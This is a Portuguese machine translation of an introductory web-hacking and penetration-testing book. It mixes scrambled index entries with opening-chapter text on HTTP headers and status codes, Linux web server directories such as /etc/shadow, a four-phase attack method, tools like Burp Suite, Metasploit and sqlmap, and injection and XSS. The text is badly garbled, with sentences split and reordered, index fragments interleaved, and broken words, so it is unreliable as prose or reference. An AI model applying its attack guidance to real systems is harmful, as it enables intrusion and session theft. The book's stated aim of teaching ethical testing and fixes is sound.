(DVWA),</p><p>14–17</p><p>Falsificação de solicitação entre sites (CSRF), 11</p><p>ataques, 119–120</p><p>versus CSRF, 107</p><p>instalação, 13–14</p><p>abordagem de defesa, 135</p><p>descrição, 106</p><p>esquemas de codificação, 110</p><p>script de instalação, 17–18</p><p>propriedades, 13</p><p>Folha de dicas de prevenção, 135</p><p>Uso da caixa de alerta JavaScript, 110</p><p>cargas úteis, 111</p><p>Servidor de banco de dados e banco de dados, 7</p><p>requisitos, 106–107</p><p>Folha de dicas de prevenção, 133</p><p>versus XSS, 107</p><p>política de mesma origem, 110</p><p>fazendo upload para o servidor web DVWA, 83, 83f</p><p>Scripting entre sites (XSS), 9–10</p><p>Estrutura de script entre sites (XSSF), 123</p><p>Machine Translated by Google</p><p>Ataques de passagem de diretório, consulte ataques de passagem de caminho</p><p>Ciclos de protocolo de transferência de hipertexto</p><p>(HTTP), 4</p><p>cabeçalhos, 5</p><p>E</p><p>Códigos de status, 5–6</p><p>eu</p><p>Servidor web Linux, 3</p><p>Interface de programação de aplicativos de segurança empresarial (ESAPI), 126–128, 129, 131, 132</p><p>uso de, 4</p><p>Exploração, invasão de servidor web</p><p>EU</p><p>Metasploit, carga útil 35–</p><p>40 ,</p><p>vulnerabilidade 34 , 34</p><p>Vulnerabilidades de injeção, 9</p><p>F</p><p>Folha de dicas de validação de entrada, 133–134</p><p>Navegação forçada, 103</p><p>J.</p><p>H</p><p>Método de ataque do miniaplicativo Java, 121, 122</p><p>Dir Buster, 58</p><p>Hacking, servidor web, Veja hacking de servidor web</p><p>Quebrador de senha de John, o Estripador (JtR), 74</p><p>Machine Translated by Google</p><p>Nesso</p><p>M</p><p>Manter o acesso, 40</p><p>configuração, 29</p><p>instalação, 28–29</p><p>Homem deixado no meio do método de ataque, 121</p><p>revisando resultados, 30–31</p><p>em execução, 29–30</p><p>do projeto</p><p>durante todo o projeto, construção, implementação e testes.</p><p>Machine Translated by Google</p><p>O que você precisa saber sobre HTTP</p><p>O que você precisa saber sobre servidores web</p><p>são as “chaves do reino”!</p><p>ÿ /usr/ lib: esse diretório inclui arquivos-objeto e binários internos que não devem ser executados por usuários ou</p><p>scripts de shell. Todos os dados de dependência usados pelo aplicativo também residirão neste diretório. Embora</p><p>não haja nada executável aqui, você pode realmente arruinar o dia de alguém excluindo todos os arquivos de</p><p>dependência de um aplicativo. ÿ /var/ *: Este diretório inclui os arquivos dos bancos de dados, logs do sistema e</p><p>o código-fonte do próprio aplicativo da web! ÿ /bin: Este diretório contém programas que o sistema precisa para</p><p>operar, como shells, ls, grep e</p><p>outros binários essenciais e importantes. bin é a abreviação de binário.</p><p>A maioria dos comandos padrão do sistema operacional estão localizados aqui como arquivos binários</p><p>executáveis separados.</p><p>O HTTP é o processo acordado para interagir e se comunicar com um aplicativo we. É um protocolo totalmente de</p><p>texto simples, portanto não há suposição de segurança ou privacidade ao usar HTTP. O HTTP é, na verdade, um</p><p>protocolo sem estado, portanto, cada solicitação do cliente e resposta do aplicativo da web é um evento totalmente</p><p>novo e independente, sem o conhecimento de quaisquer solicitações anteriores. No entanto, é fundamental que o</p><p>aplicativo Web acompanhe as solicitações do cliente para que você possa concluir transações em várias etapas, como</p><p>compras on-line onde você</p><p>Um servidor web é apenas um software executado no sistema operacional de um servidor que permite conexões para</p><p>acessar um aplicativo web. Os servidores web mais comuns são o Internet Information Services (II S) em um servidor</p><p>Windows e o servidor Apache Hypertext Transf Protocol (HTTP) em um servidor Linux. Esses servidores têm uma</p><p>estrutura de diretórios normal como qualquer outro computador, e são esses diretórios que abrigam o aplicativo da web.</p><p>O Linux é mais variado na estrutura de arquivos, mas a maioria dos aplicativos da web está hospedada no diretório /</p><p>var/ www/ . Existem vários outros diretórios em um servidor web Linux que são especialmente relevantes para hackers</p><p>na web: ÿ /etc/ shadow: É aqui que residem</p><p>os hashes de senha de todos os usuários do sistema. Esse</p><p>Se você seguir a abordagem Windowsnext, next, next, finish para instalar um servidor web II S, você terminará com</p><p>a estrutura de diretório padrão C:\Inetpub\wwwroot onde cada aplicativo terá seus próprios diretórios dentro de wwwroot</p><p>e todos os aplicativos web vitais recursos estão contidos nele.</p><p>Mas, infelizmente, a segurança é muitas vezes tratada como uma reflexão tardia na maior parte do tempo; esse tipo</p><p>de desenvolvimento deixa os aplicativos da web recém-criados repletos de vulnerabilidades que podem ser identificadas</p><p>e exploradas pelos próprios motivos nefastos do hacker.</p><p>sobre.</p><p>O próprio servidor web é alvo de ataques porque oferece portas abertas e acesso a versões potencialmente</p><p>vulneráveis de software de servidor web instalado, versões vulneráveis de outro software instalado e configurações</p><p>incorretas do sistema operacional que está executando</p><p>Machine Translated by Google</p><p>O uso de HTTP seguro (HTTPS) pouco ajuda a impedir os tipos de ataques que serão abordados neste livro.</p><p>HTTPS é obtido quando o HTTP é colocado em camadas sobre o protocolo Secu Socket Layer/Transport Layer</p><p>Security (SSL/TLS), que adiciona o TLS SSL/TLS às solicitações e respostas HTTP normais. É mais adequado</p><p>para garantir que o man-i-the-middle e outros ataques de espionagem não sejam bem-sucedidos; garante uma</p><p>“chamada privada” entre o seu navegador e o aplicativo da web, em vez de ter uma conversa em uma sala lotada</p><p>onde qualquer pessoa pode ouvir seus segredos. No entanto, em nosso uso, HTTPS significa apenas que nos</p><p>comunicaremos com o aplicativo da web por meio de um canal de comunicação criptografado para torná-la uma</p><p>conversa privada. A criptografia bidirecional do HTTPS não impedirá que nossos ataques sejam processados pelo</p><p>aplicativo da web em espera.</p><p>Ciclos HTTP Uma das</p><p>operações fundamentais mais importantes de toda aplicação web é o ciclo de solicitações feitas pelos navegadores</p><p>dos clientes e as respostas retornadas pelo servidor web. É uma premissa muito simples que acontece muitas</p><p>vezes todos os dias. Um navegador envia uma solicitação preenchida com parâmetros (variáveis) contendo a</p><p>entrada do usuário e o servidor web envia uma resposta que é ditada pela solicitação enviada. O aplicativo da</p><p>web pode agir com base nos valores dos parâmetros, portanto, eles são os principais alvos para os hackers</p><p>atacarem valores de parâmetros maliciosos para explorar o aplicativo da web e o servidor da web.</p><p>HTTP sem o uso de cookies exigiria que você fizesse login novamente durante cada uma dessas etapas. Isso</p><p>simplesmente não é realista, então foi criado o conceito de uma sessão onde o aplicativo monitora suas</p><p>solicitações após o login. Embora as sessões sejam uma ótima maneira de aumentar a facilidade de uso de um</p><p>aplicativo Web, elas também fornecem outro vetor de ataque para aplicativos Web. O HTTP não foi originalmente</p><p>criado para lidar com o tipo de transações da web que exigem um alto grau de segurança e privacidade. Você</p><p>pode inspecionar todos os detalhes sangrentos de como o HTTP opera com ferramentas como o Wireshark ou</p><p>qualquer proxy HTT local.</p><p>adicione itens ao seu carrinho de compras, selecione um método de envio e insira as informações de pagamento.</p><p>Cabeçalhos HTTP dignos de nota Cada ciclo</p><p>HTTP também inclui cabeçalhos na solicitação do cliente e na resposta do servidor que transmitem detalhes</p><p>sobre a solicitação ou resposta. Existem vários desses cabeçalhos, mas estamos preocupados apenas com</p><p>alguns que são mais aplicáveis à nossa abordagem abordada neste livro.</p><p>Os cabeçalhos que nos preocupam e que são definidos pelo servidor web e enviados ao navegador do cliente</p><p>como parte do ciclo de resposta são: ÿ Set-Cookie: Este</p><p>cabeçalho geralmente fornece o identificador de sessão (cookie) ao cliente para garantir o a sessão do usuário</p><p>permanece atual. Se um hacker conseguir roubar a sessão de um usuário (aproveitando os ataques</p><p>abordados em capítulos posteriores), ele poderá assumir a identidade do usuário explorado dentro do</p><p>aplicativo.</p><p>Machine Translated by Google</p><p>parte da solicitação da web são: ÿ</p><p>Cookie: Este cabeçalho envia o cookie (ou vários cookies) de volta ao servidor para manter a sessão do usuário.</p><p>Este valor do cabeçalho do cookie deve sempre corresponder ao valor do cabeçalho set-cookie emitido</p><p>pelo servidor. Este cabeçalho é útil para hackers porque pode fornecer uma sessão válida com o aplicativo</p><p>que pode ser usada em ataques contra outros usuários do aplicativo. Outros cookies não são tão</p><p>interessantes,</p><p>Método de</p><p>exploração do navegador Metasploit,</p><p>comando de exploração 121 , 39–40</p><p>Hacking de rede, Veja hacking de servidor Web</p><p>pesquisa, 35–36</p><p>Nikto, 31–34</p><p>definir opção, 39</p><p>definir carga útil, 37–</p><p>38 mostrar opções, 38–39, 38b</p><p>mostrar cargas úteis, 36–37</p><p>Alerta</p><p>Nmap, 25b</p><p>usar, 36</p><p>Mecanismo de script Nmap, 25–27 em</p><p>execução, 24–25</p><p>atualização, 23–24</p><p>Método web de múltiplos ataques, 122</p><p>Ó</p><p>Host local (LHOST), 38</p><p>N</p><p>Machine Translated by Google</p><p>Quebrador de senha on-line, 73–74</p><p>descoberta de diretório, 101, 101f</p><p>recuperação de arquivo /etc/passwd, 102–103, 102f</p><p>estrutura de diretório parcial, 100, 100f comando</p><p>de diretório, 102</p><p>Manual de metodologia de teste de segurança de código aberto (OSSTM), 8</p><p>Correções de passagem de caminho, 131–132</p><p>Banco de dados de vulnerabilidades de código aberto (OSVDB), 34</p><p>Padrão de execução de teste de penetração (PTES), 8</p><p>Exercício de execução de comando de injeção de</p><p>comando do sistema operacional (SO), 80–82</p><p>Varredura de porta, Nmap</p><p>para hackers, 79-80</p><p>Mecanismo de script Nmap, 25–27 em</p><p>execução, 24–25</p><p>atualização, 23–24</p><p>P</p><p>R</p><p>Ataques de travessia de caminho</p><p>Referente, 5</p><p>navegação forçada, 103</p><p>Ataques XSS refletidos</p><p>Cracker de senha offline, 73–74</p><p>estrutura de arquivos do servidor web</p><p>codificação de cargas úteis XSS, ataque</p><p>de prova de conceito 114–115 , requisitos</p><p>112, 112f , resposta do servidor</p><p>111, 111f , interceptação de, 113–114 em identificadores</p><p>de sessão, 116, 117f</p><p>Machine Translated by Google</p><p>Host remoto (RHOST), 38</p><p>Caixa de areia</p><p>Arquivo Robots.txt, 21–23</p><p>BackTrack, 12–13, 14f</p><p>controle de acesso quebrado, 51</p><p>navegação forçada, 52</p><p>falhas lógicas, 52</p><p>S</p><p>Script de instalação DVWA,</p><p>requisitos 17–18 ,</p><p>configuração do aplicativo</p><p>web de destino 11–12 , 14–17</p><p>Ambiente de teste seguro</p><p>DVWA, 13</p><p>BackTrack, 12–13, 14f</p><p>instalação, 13–14</p><p>máquina virtual (VM), 12</p><p>Script de instalação DVWA,</p><p>requisitos 17–18 ,</p><p>configuração do aplicativo</p><p>web de destino 11–12 , 14–17</p><p>Jogador VMWare, 12</p><p>DVWA, 13</p><p>Scanner, aplicativo da web</p><p>instalação, 13–14</p><p>máquina virtual (VM), 12</p><p>Scanner de arrotos, 58–62</p><p>na barra de endereço URL, 116</p><p>Jogador VMWare, 12</p><p>deficiências</p><p>Machine Translated by Google</p><p>ataques de sessão, 52</p><p>Eventos do lado B, 138-139</p><p>injeção SQL armazenada, 51</p><p>senhas fracas, 51</p><p>DakotaCon, 138</p><p>resultados de nível de bit, 97,</p><p>99f descrição, 96</p><p>resultados de entropia, 97, 98f</p><p>identificação do identificador de sessão, 96, 97f</p><p>vulnerabilidades</p><p>DerbyCon, 138 em</p><p>Las Vegas, 138</p><p>baseado em entrada, lado do cliente,</p><p>50 baseado em entrada, lado do</p><p>servidor, 50 ciclo de solicitação e resposta, 51</p><p>ShmooCon, 138</p><p>ZAP, 52–58</p><p>educação formal, 140</p><p>Grupos comunitários de segurança</p><p>livros adicionais, 141</p><p>workshops de treinamento presenciais e on-line, 139–140 regionais e</p><p>locais, 139</p><p>certificações, 140–141</p><p>Configuração incorreta de segurança, 11</p><p>e eventos</p><p>Ataques de sessão</p><p>nomes de parâmetros significativos, 51 XSS</p><p>armazenados em várias etapas, 52</p><p>AppSecUSA, 138</p><p>Testes do sequenciador de arrotos</p><p>Machine Translated by Google</p><p>conceito de reutilização de cookies, 97–</p><p>100 algoritmos de geração de sessão, cracking de, 95</p><p>Kit de ferramentas de spear phishing (SPT), 123</p><p>Doação de sessão, 95</p><p>injeção SQL</p><p>Fixação de sessão, 95</p><p>Exercício DVWA</p><p>Sequestro de sessão, 95</p><p>ignorando autenticação, 68–69 objetivos, 66–</p><p>75 quebra de</p><p>senha offline, 74–75 hashes de senha, 73–74</p><p>sqlmap, 75–79 nome de usuário e</p><p>senha, de</p><p>administrador, 70–73 vulnerabilidade, 66–68</p><p>ID da sessão no URL, 95</p><p>recurso, 64</p><p>Correções de gerenciamento de sessão, 131</p><p>para hackers, 65-66</p><p>Vetores de ataque do Social-Engineer</p><p>Toolkit (SET), 121</p><p>Intérprete SQL, ferramenta</p><p>sqlmap 64–65 , 75–79</p><p>Endereço IP, 122</p><p>Ataques XSS armazenados</p><p>procedimento, 96</p><p>menu de boas-vindas, 120, 121f</p><p>entradas do livro de visitas, 118, 119f</p><p>entrada e saída, 118, 118f propriedades</p><p>de, 117</p><p>Machine Translated by Google</p><p>T</p><p>Nesso, 28–31</p><p>Método TabNabbing, 121</p><p>Nikto, 31–34</p><p>Projeto ESAPI, 126–128</p><p>correções de injeção, 128–129</p><p>correções de passagem de caminho,</p><p>131–132 correções de gerenciamento de sessão, 131</p><p>tipos de injeção, 63</p><p>Ataques técnicos de engenharia social,</p><p>107-108</p><p>C</p><p>reconhecimento</p><p>correções, 135–136</p><p>Aplicativos da web</p><p>Burp Suite Intercept, orientação 43–</p><p>45 , 42</p><p>V</p><p>servidor de banco de dados e banco de dados, 7</p><p>Máquina virtual (VM), 12</p><p>definição, 2</p><p>Jogador VMWare, 12</p><p>servidor de arquivos, 8</p><p>Verificação de vulnerabilidades</p><p>Conserta</p><p>ilustração esquemática, 117, 117f</p><p>e produtos antivírus, 27</p><p>correções de autenticação quebradas, 130–131</p><p>Machine Translated by Google</p><p>Burp Scanner, 58–62</p><p>deficiências, 51–52</p><p>servidor web, 6</p><p>vulnerabilidades, 50–51</p><p>usuário da web, 7</p><p>Mecanismo de script Nmap, 25–27 em</p><p>execução, 24–25</p><p>ZAP, 52–58</p><p>Método de ataque Web-Jacking, 121</p><p>desenvolvimento de segurança, 1–2</p><p>componentes de terceiros, prontos para uso, 8</p><p>Servidor(es) Web, 3–4</p><p>ferramentas, 41</p><p>Exploração de hacking de</p><p>servidor web</p><p>vulnerabilidade, 3</p><p>Metasploit, carga útil 35–</p><p>40 , vulnerabilidade</p><p>34 , 34</p><p>Fases da abordagem de hacking na</p><p>Web, 6</p><p>Conserta</p><p>ferramentas, 7</p><p>mensagens de erro genéricas, 126, proteção de</p><p>servidor 127f , 125–126</p><p>proxy da web, verificação</p><p>42–43</p><p>aplicativo da web, 6–7</p><p>manutenção de acesso, varredura</p><p>de 40 portas, Nmap</p><p>Machine Translated by Google</p><p>Usuário da web</p><p>anfitrião, 20, 21</p><p>netcraft, 21</p><p>estruturas de ataque</p><p>Folha de dicas de prevenção XSS, 133</p><p>hackear</p><p>Arquivo robots.txt, 21–23</p><p>BeEFr, 123</p><p>segmentação, 20–21</p><p>CONJUNTO, 120–123</p><p>verificação de vulnerabilidades e</p><p>produtos antivírus, 27</p><p>SPT, 123</p><p>Nesso, 28–31</p><p>XSSF, 123</p><p>Nikto, 31–34</p><p>correções, 132–136</p><p>Conchas da Web, 85</p><p>Folha de dicas de prevenção de CSRF, 135</p><p>atualização, estágio de</p><p>reconhecimento 23–24</p><p>parâmetro de URL cmd, 86</p><p>execução de comandos personalizados, 84, 86f</p><p>descrição, 83 locais</p><p>de arquivo, 84, 84f resultados</p><p>netstat, 84, 86f shell de comando</p><p>primitivo, 85 comando shellhelp, 84, 85f</p><p>upload para servidor web DVWA, 83, 83f</p><p>Folha de dicas de validação de entrada, 133–134</p><p>Machine Translated by Google</p><p>Esforços de reconhecimento de XSS (consulte</p><p>Cross-site scripting (XSS)) , 108–109</p><p>XSSF, consulte Estrutura de script entre sites (XSSF)</p><p>digitalização, 109</p><p>Z</p><p>Vulnerabilidades da web</p><p>Verificação de proxy de ataque Zed (ZAP)</p><p>autenticação quebrada e gerenciamento de sessão, 10–11 falsificação de</p><p>solicitação entre sites, 11 scripts entre</p><p>sites, injeção 9–10 , 9</p><p>Força Bruta, 58</p><p>scanner</p><p>configuração, 52–53 revisão</p><p>de resultados, 56–57 execução,</p><p>54–56</p><p>baseado em entrada, lado do cliente,</p><p>50 baseado em entrada, lado do</p><p>servidor, 50 ciclo de solicitação e resposta, 51</p><p>configuração incorreta de segurança, 11</p><p>X</p><p>Ataques técnicos de engenharia social de CSRF (consulte</p><p>falsificação de solicitação entre sites (CSRF)) , 107–108</p><p>XSS, consulte scripts entre sites (XSS)</p><p>Machine Translated by Google</p><p>Machine Translated by Google</p><p>como um cookie que define o idioma desejado como inglês.</p><p>ÿ Referenciador: esse cabeçalho lista a página da Web em que o usuário estava anteriormente quando a</p><p>próxima solicitação da Web foi feita. Pense neste cabeçalho como um armazenamento da “última página</p><p>visitada”. Isso é útil para hackers porque esse valor pode ser facilmente alterado. Assim, se o aplicativo</p><p>contar com esse cabeçalho para ter alguma sensação de segurança, ele poderá ser facilmente</p><p>contornado com um valor forjado.</p><p>Códigos de status HTTP notáveis À medida que as</p><p>respostas do servidor web são recebidas pelo seu navegador, elas incluirão um código de status para sinalizar</p><p>que tipo de resposta é. Existem mais de 50 códigos de resposta HTTP numéricos agrupados em cinco famílias</p><p>que fornecem tipos semelhantes de códigos de status. Saber o que cada tipo de família de respostas representa</p><p>permite compreender como sua entrada foi processada pelo aplicativo. ÿ 100s: essas respostas são puramente</p><p>informativas do servidor web e geralmente</p><p>significam que respostas adicionais do servidor web serão recebidas. Eles raramente são vistos em respostas</p><p>de servidores web modernos e geralmente são seguidos de perto por outro tipo de resposta apresentado</p><p>abaixo. ÿ 200s: essas respostas sinalizam que a solicitação do cliente foi aceita com sucesso e</p><p>O código de status HTTP mais comum é 200 OK.</p><p>ÿ Localização: esse cabeçalho é usado quando um aplicativo redireciona um usuário para uma nova página.</p><p>Isso é útil para um hacker porque pode ser usado para ajudar a identificar páginas que só são</p><p>permitidas após a autenticação bem-sucedida no aplicativo, por exemplo.</p><p>Os cabeçalhos sobre os quais você deve saber mais são enviados pelo navegador do cliente como</p><p>header é útil para hackers porque você pode procurar variações no número de bytes da resposta para ajudar</p><p>a decifrar a resposta do aplicativo à entrada. Isto é especialmente aplicável ao conduzir ataques de força</p><p>bruta (adivinhações repetitivas).</p><p>ÿ Content-Length: o valor desse cabeçalho é o comprimento do corpo da resposta em bytes. Esse</p><p>ÿ 300s: essas respostas são usadas para sinalizar o redirecionamento onde respostas adicionais serão</p><p>enviadas ao cliente. A implementação mais comum disso é redirecionar o navegador do usuário para uma</p><p>página inicial segura após a autenticação bem-sucedida no aplicativo da web. Na verdade,</p><p>seria um redirecionamento 302 para enviar outra resposta que seria entregue com 200 OK.</p><p>ÿ 400s: essas respostas são usadas para sinalizar um erro na solicitação do cliente. Isso significa que o</p><p>usuário enviou uma solicitação que não pode ser processada pelo aplicativo Web, portanto, um destes</p><p>códigos de status comuns é retornado: 401 Não autorizado, 403 Proibido,</p><p>processado pelo servidor web e a resposta foi enviada de volta ao seu navegador.</p><p>Machine Translated by Google</p><p>http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html.</p><p>Os princípios básicos do hacking na Web: nossa abordagem Nossa abordagem</p><p>é composta de quatro fases que cobrem todas as tarefas necessárias durante um ataque.</p><p>1. Reconhecimento 2.</p><p>Varredura 3.</p><p>Exploração 4.</p><p>Correção</p><p>Nossos alvos Nossa</p><p>abordagem tem como alvo três vetores de ataque separados, mas relacionados: o servidor web, a aplicação web e o usuário web.</p><p>Para os propósitos deste livro, definiremos cada um desses vetores de ataque da seguinte forma: 1. Servidor Web: o aplicativo</p><p>executado em um sistema operacional</p><p>que hospeda o aplicativo Web. NÃO estamos falando aqui de hardware de computador tradicional, mas sim de serviços</p><p>executados em portas abertas que permitem que uma aplicação web seja acessada pelos navegadores de internet dos</p><p>usuários. O servidor web pode ser vulnerável a tentativas de invasão de rede direcionadas a esses serviços, a fim</p><p>de obter acesso não autorizado à estrutura de arquivos e aos arquivos do sistema do servidor web.</p><p>os códigos de status comuns usados nesta família são 500 Internal Server Error e 503 Service Unavailable.</p><p>Detalhes completos sobre todos os códigos de status HTTP podem ser revisados com mais detalhes em</p><p>ÿ 500s: essas respostas são usadas para sinalizar um erro no lado do servidor. A maioria</p><p>e 404 não encontrado.</p><p>2. Aplicativo da Web: o código-fonte real em execução no servidor da Web que fornece a funcionalidade com a</p><p>qual os usuários da Web interagem é o alvo mais popular dos hackers da Web. A aplicação web</p><p>pode ser suscetível a uma vasta coleção de ataques que tentam realizar ações não autorizadas dentro da</p><p>aplicação web.</p><p>3. Usuário web: os usuários internos que gerenciam a aplicação web (administradores e programadores) e os</p><p>usuários externos (clientes humanos ou clientes) das aplicações web são alvos dignos de ataques. É</p><p>aqui que as vulnerabilidades de script entre sites (XSS) ou falsificação de solicitação entre sites (CSRF) no</p><p>aplicativo da web aparecem. Ataques técnicos de engenharia social direcionados a usuários da web e</p><p>que não dependem de vulnerabilidades existentes em aplicativos da web também são aplicáveis aqui.</p><p>As vulnerabilidades, explorações e cargas úteis são exclusivas para cada um desses alvos, portanto</p><p>É apropriado apresentar e discutir como essas vulnerabilidades e ataques podem ser mitigados, portanto, há uma</p><p>fase de correção para nossa abordagem. Como um testador de penetração ou hacker ético, você receberá diversas</p><p>perguntas após o fato relacionadas a como as vulnerabilidades descobertas podem ser corrigidas. Considere a inclusão</p><p>da fase de correção como um recurso para ajudar a responder a essas questões.</p><p>Machine Translated by Google</p><p>http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html</p><p>Nossas ferramentas</p><p>scanner aplicável a aplicativos da web.</p><p>ÿ Ferramentas de hacking de rede, como Nmap para varredura de portas, Nessus e Nikto para</p><p>varredura de vulnerabilidades e Metasploit para exploração do servidor web.</p><p>Para cada ferramenta usada neste livro, provavelmente existem cinco outras ferramentas que podem fazer o</p><p>mesmo trabalho. (O mesmo se aplica aos métodos.) Enfatizaremos as ferramentas mais aplicáveis aos hackers</p><p>web iniciantes. Recomendamos essas ferramentas não porque sejam fáceis de usar para iniciantes, mas porque</p><p>são ferramentas fundamentais que praticamente todos os testadores de penetração profissionais usam</p><p>regularmente. É fundamental que você aprenda a usá-los desde o primeiro dia. Algumas das ferramentas que</p><p>usaremos incluem: ÿ Burp Suite, que inclui uma série de ferramentas de hacking da web de primeira</p><p>linha, é essencial para qualquer hacker da web e é amplamente aceito como a coleção número 1 de</p><p>ferramentas de hacking da web. ÿ Zed Attack Proxy (ZAP) é semelhante ao Burp Suite, mas</p><p>também inclui uma vulnerabilidade gratuita</p><p>ferramentas e técnicas exclusivas são necessárias para atacar cada um deles com eficiência.</p><p>ÿ E outras ferramentas que cumprem uma função específica, como sqlmap para injeção de SQL, John the</p><p>Ripper (JtR) para quebra</p><p>de senha offline e o Social Engineering Toolkit (SET) para ataques</p><p>técnicos de engenharia social contra usuários da web!</p><p>Machine Translated by Google</p><p>Metodologias Existentes Várias</p><p>metodologias aack fornecem processos, etapas, ferramentas e técnicas que são consideradas melhores</p><p>práticas. Se você é um hacker de chapéu branco, essas atividades são chamadas de testes de penetração</p><p>(pen test, para abreviar, ou PT, para abreviar ainda mais), mas todos nós percebemos que são as mesmas</p><p>atividades que o hacking de chapéu preto. As duas metodologias de pen test mais amplamente aceitas</p><p>atualmente são o Manual de Metodologia de Teste de Segurança de Código Aberto (OSSTM) e o Padrão de</p><p>Execução de Teste de Penetração (PTES).</p><p>O OSSTM foi criado em um processo de revisão por pares que criou casos que testam cinco seções:</p><p>a funcionalidade de upload e/ou download pode ser vulnerável a ataques que permitem que recursos do</p><p>servidor sejam acessados por um invasor não autorizado. ÿ</p><p>Componentes de terceiros, prontos para uso: módulos de código, como sistemas de gerenciamento de</p><p>conteúdo (CMSs), são definitivamente um alvo devido à adoção generalizada e à documentação</p><p>disponível desses sistemas.</p><p>ÿ Servidor de arquivos: o sistema, muitas vezes uma unidade mapeada em um servidor web, que permite</p><p>Manual (OSSTM)</p><p>1. Controles de informações e dados 2.</p><p>Níveis de conscientização sobre segurança do</p><p>pessoal 3. Níveis de fraude e engenharia social</p><p>4. Redes de computadores e telecomunicações, dispositivos sem fio e dispositivos móveis 5. Controles de</p><p>acesso de segurança física, processos de segurança e locais físicos O OSSTM mede os</p><p>aspectos técnicos detalhes de cada uma dessas áreas e fornecem orientação sobre o que fazer antes, durante</p><p>e depois de uma avaliação de segurança. Mais informações sobre o OSSTM podem ser encontradas na página</p><p>inicial do projeto em http://www.isecom.org/research/osstmm.html.</p><p>A metodologia de teste de segurança de código aberto</p><p>Os aplicativos da Web afetam todas as partes da TI Outro detalhe</p><p>interessante para os hackers da Web é o fato de que os aplicativos da Web interagem com praticamente todos os sistemas centrais da</p><p>infraestrutura de uma empresa. É comum pensar que a aplicação web é apenas um código executado em um servidor web escondido</p><p>com segurança em uma DMZ externa, incapaz de causar sérios danos internos a uma empresa. Existem diversas áreas adicionais de</p><p>uma infraestrutura de TI tradicional que precisam ser consideradas para direcionar totalmente um sistema para ataque, porque o</p><p>alcance de uma aplicação web é muito maior do que o código escrito por um programador. Os seguintes componentes também precisam</p><p>ser considerados como possíveis vetores de ataque: ÿ Servidor de banco de dados e banco de dados: o sistema que hospeda o banco</p><p>de dados usado pelo aplicativo Web pode ser vulnerável a ataques que permitem a criação, leitura, atualização ou exclusão de dados</p><p>confidenciais. (CRUD).</p><p>Machine Translated by Google</p><p>http://www.isecom.org/research/osstmm.html</p><p>Entendendo as metodologias existentes Devido aos processos</p><p>detalhados, esses padrões são bastante difíceis de digerir para um hacker iniciante. Ambos os</p><p>padrões cobrem basicamente todos os aspectos possíveis dos testes de segurança e fazem um</p><p>ótimo trabalho. Toneladas de pessoas muito inteligentes e talentosas dedicaram inúmeras horas</p><p>para criar padrões a serem seguidos por testadores de penetração e hackers. Seus esforços são</p><p>certamente louváveis, mas para hackers iniciantes é uma sobrecarga sensorial. Como você</p><p>considerará hackear uma rede sem fio quando, para começar, você nem entende o básico de</p><p>hacking de rede? Como você vai hackear um dispositivo móvel que acessa uma versão móvel de</p><p>um aplicativo da web quando você pode não estar confortável com a forma como os aplicativos</p><p>da web dinâmicos extraem e usam dados de um banco de dados?</p><p>O que é necessário é resumir todas as grandes informações contidas em padrões como o</p><p>OSSTM e o PTES em uma metodologia mais gerenciável, para que os hackers iniciantes fiquem</p><p>sobrecarregados. Esse é exatamente o objetivo deste livro. Para lhe dar a orientação necessária</p><p>para você começar com a teoria, ferramentas e técnicas de hacking na web!</p><p>O PTES foi projetado como um mínimo que precisa ser concluído como parte de um teste de</p><p>penetração abrangente. O padrão contém muitos níveis diferentes de serviços que devem fazer</p><p>parte de testes de penetração avançados. Mais informações podem ser encontradas na página</p><p>inicial do PTES em http://www.pentest-standard.org/.</p><p>A novidade no mercado é definitivamente o PTES, que é um novo padrão que visa fornecer uma</p><p>linguagem comum a ser seguida por todos os testadores de penetração e profissionais de</p><p>avaliação de segurança. O PTES fornece ao cliente uma base de sua própria postura de</p><p>segurança, para que ele esteja em posição de entender as descobertas dos testes de penetração.</p><p>Todos os nossos alvos serão explorados atacando vulnerabilidades bem compreendidas. Embora</p><p>existam diversas outras vulnerabilidades relacionadas à Web, é nessas que nos concentraremos</p><p>à medida que avançamos nos capítulos.</p><p>Vulnerabilidades de injeção podem surgir em todos os tipos de locais do aplicativo da web que</p><p>permitem ao usuário fornecer informações maliciosas. Alguns dos ataques de injeção mais comuns</p><p>têm como alvo as seguintes funcionalidades:</p><p>Vulnerabilidades Web mais comuns</p><p>Padrão de Execução de Teste de Penetração (PTES)</p><p>Injeção</p><p>Falhas de injeção ocorrem quando dados de usuários não confiáveis são enviados para o</p><p>aplicativo da web como parte de um comando ou consulta. Os dados hostis do aacker podem</p><p>induzir o aplicativo da web a executar comandos não intencionais ou acessar dados não</p><p>autorizados. A injeção ocorre quando um hacker alimenta informações maliciosas no aplicativo</p><p>da web que é então atuado (processado) de maneira insegura. Este é um dos ataques mais</p><p>antigos contra aplicações web, mas ainda é o rei das vulnerabilidades porque ainda é generalizado e muito prejudicial.</p><p>Machine Translated by Google</p><p>Scripting entre sites (XSS)</p><p>O XSS vem em dois “sabores” principais: refletido e armazenado. O XSS refletido é muito mais difundido</p><p>em aplicações web e é considerado menos prejudicial. A razão pela qual o XSS refletido é considerado</p><p>menos prejudicial não é por causa do que ele pode fazer, mas porque é um aack único em que a carga</p><p>enviada em um aack XSS refletido é válida apenas naquela solicitação. Pense no XSS refletido como “quem</p><p>clica nele, consegue”. Qualquer usuário que clicar no link que contém o script malicioso será a única pessoa</p><p>diretamente afetada por esse ataque. Geralmente é uma proporção de 1:1 entre hackers e vítimas. O hacker</p><p>pode enviar o mesmo URL malicioso para milhões de vítimas em potencial, mas apenas aqueles que</p><p>clicarem no link serão afetados e não haverá conexão entre os usuários comprometidos.</p><p>O XSS armazenado é mais difícil</p><p>de encontrar em aplicações web, mas é muito mais prejudicial porque</p><p>persiste em múltiplas solicitações e pode explorar vários usuários com um único ataque. Isso ocorre quando</p><p>um hacker consegue injetar o script malicioso no aplicativo e disponibilizá-lo para todos os usuários</p><p>visitantes. Ele pode ser colocado em um banco de dados usado para preencher uma página da Web ou em</p><p>um fórum de usuários que exibe mensagens ou qualquer outro mecanismo que armazene entradas. À</p><p>medida que usuários legítimos solicitam a página, a exploração XSS será executada em cada um de seus</p><p>navegadores. Esta é uma proporção de 1:muitos hackers por vítima.</p><p>Cross-Site Scripting (XSS) ocorre quando a entrada do usuário é aceita pelo aplicativo como parte de uma</p><p>solicitação e, em seguida, é usada na saída da resposta sem a codificação de saída adequada para</p><p>validação e higienização. O XSS permite que hackers executem scripts no navegador da vítima, que podem</p><p>sequestrar sessões de usuários, atuar como um keylogger, redirecionar o usuário para sites maliciosos ou</p><p>qualquer outra coisa que um hacker possa 